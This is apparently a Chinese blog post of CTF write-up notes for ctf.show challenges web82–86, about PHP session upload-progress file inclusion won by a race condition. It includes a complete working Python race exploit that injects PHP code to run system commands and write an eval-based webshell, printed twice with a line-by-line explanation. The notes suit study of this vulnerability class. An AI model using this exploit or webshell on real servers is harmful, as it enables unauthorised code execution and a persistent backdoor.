web82-86笔记 session⽂件包含 (web82+.过滤 往后增加文件过滤 文件竞争)

#web82
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 19:34:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }

这次过滤了点,⽇志包含有.log,⽤不了惹。看看南神博客,session⽂件包含。

还有安全客 https://www.freebuf.com/vuls/202819.html

 

知识点: 在php5.4之后php.ini开始有⼏个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = “upload_progress_”

4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

5.session.use_strict_mode=off

第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中

第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容

第三和第四个prefix+name将表示为session中的键名

第五个表示我们对Cookie中sessionID可控

"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionID

linux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成

 

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

 

流程分析:

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空, 此时我们可以利用竞争,在session文件内容清空前进行包含利用。

session文件默认存储路径

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

 

假设源代码如下: <?php $b=$_GET['file']; include "$b"; ?>

此时是可以包含⼀个恶意的⽂件,但是在现在靶机⾥⾯是不存在这个所谓的恶意⽂件的,所以我们要利⽤session.upload_progress将恶意语句写⼊session⽂件,然后包含session⽂件。

Q1: 代码⾥没有session_start()如何创建session⽂件?

A1:如果session.auto_start=On,就不需要再去执⾏session_start(),但默认情况都是关闭的。但session还有个默认选项就是session.use_strict_mode = 0,⽤户可以⾃定义ID,这个部分同上引号部分

Q2: session.upload_progress.cleanup = On导致⽂件上传后session⽂件内容⽴即清空怎么进⾏rce?

A2:这⾥可以利⽤竞争的⽅式在他清空前包含利⽤,只能写脚本了。(这⾥直接⽤有的脚本)

<!DOCTYPE html>
<html>
<body>
<form action="http://0f40dce6-e4a6-4882-822f-3981a0e5dbad.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)
#解析
1. 导入模块
import io
import sys
import requests
import threading
io:用于处理字节流。

sys:用于系统相关的功能,如退出程序。

requests:用于发送HTTP请求。

threading:用于多线程编程。

2. 定义全局变量
sessid = 'Qftm'
sessid:PHP会话ID,用于标识会话。

3. POST 函数
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
POST 函数通过多线程不断发送POST请求。

io.BytesIO(b'a' * 1024 * 50):创建一个50KB大小的字节流,模拟文件上传。

session.post:发送POST请求,包含以下内容:

data:包含PHP代码,利用PHP_SESSION_UPLOAD_PROGRESS功能执行系统命令cat *(列出当前目录所有文件内容),并写入一个PHP webshell文件shell.php。

files:模拟文件上传,文件名为q.txt。

cookies:设置PHPSESSID为全局变量sessid的值。

4. READ 函数
python
复制
def READ(session):
    while True:
        response = session.get(f'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
READ 函数通过多线程不断发送GET请求,读取服务器上的会话文件。

session.get:发送GET请求,读取/tmp/sess_{sessid}文件内容。

如果响应中不包含flag,则打印[+++]retry并继续尝试。

如果响应中包含flag,则打印响应内容并退出程序。

5. 主程序
python
复制
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)
使用requests.session()创建一个会话对象。

创建一个线程t1,执行POST函数。

设置t1为守护线程(daemon=True),主线程退出时子线程也会退出。

启动线程t1。

在主线程中调用READ函数,不断读取服务器响应。

6. 代码目的
该脚本利用PHP的文件上传进度功能,通过PHP_SESSION_UPLOAD_PROGRESS注入PHP代码,执行系统命令并写入一个webshell文件。

通过不断读取服务器的会话文件,尝试获取flag内容。

7. 潜在风险
该脚本用于CTF比赛,目的是获取服务器上的flag。在实际环境中,这种行为是非法的,属于未经授权的系统入侵。

代码中的PHP代码片段<?php @eval($_POST[mtfQ])?>是一个典型的webshell,可以执行任意PHP代码,具有极高的危险性。

上传成功后,就会在session['upload_progress_*']存储一些本次上传的相关信息 但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含

最终得到flag

 

web83

#web83
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 20:28:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ session_unset(); session_destroy(); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
1. session_unset()
功能:
session_unset() 用于清除当前会话中所有已注册的会话变量(即清空 $_SESSION 数组),但不会销毁会话本身。

调用 session_unset() 后,$_SESSION 数组会被清空,但会话 ID 仍然存在,会话文件也不会被删除。
2. session_destroy()
功能:
session_destroy() 用于销毁当前会话。它会删除会话文件并清空会话数据,但不会立即清空 $_SESSION 数组。

调用 session_destroy() 后,会话 ID 会失效,会话文件会被删除,但 $_SESSION 数组中的数据仍然存在于当前脚本中,直到脚本结束。

继续用以上代码脚本即可

 

web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}
system("rm -rf /tmp/*"); 删除  我们本身就是在竞争,继续上⾯的脚本


web85
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

增加了检查文件是否存在,读取文件内容,并确保文件内容中不包含 < 字符,最后包含(include)该文件。基于竞争,忽略。

 

web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}
代码解析
define('还要秀?', dirname(__FILE__));
功能:定义一个常量。

dirname(__FILE__):获取当前文件的目录路径。

define('还要秀?', ...):将目录路径赋值给常量 还要秀?。

注意:常量名使用了中文字符 还要秀?,虽然合法,但不推荐使用非 ASCII 字符作为常量名。


set_include_path(还要秀?);
功能:设置 PHP 的包含路径。

set_include_path():设置 PHP 脚本在包含文件时搜索的路径。

还要秀?:使用之前定义的常量作为包含路径。

作用:将当前文件所在的目录设置为 PHP 的默认包含路径。

继续用以上python竞争。

 



 

posted @ 2025-03-14 13:56  justdoIT*  阅读(28)  评论(0)    收藏  举报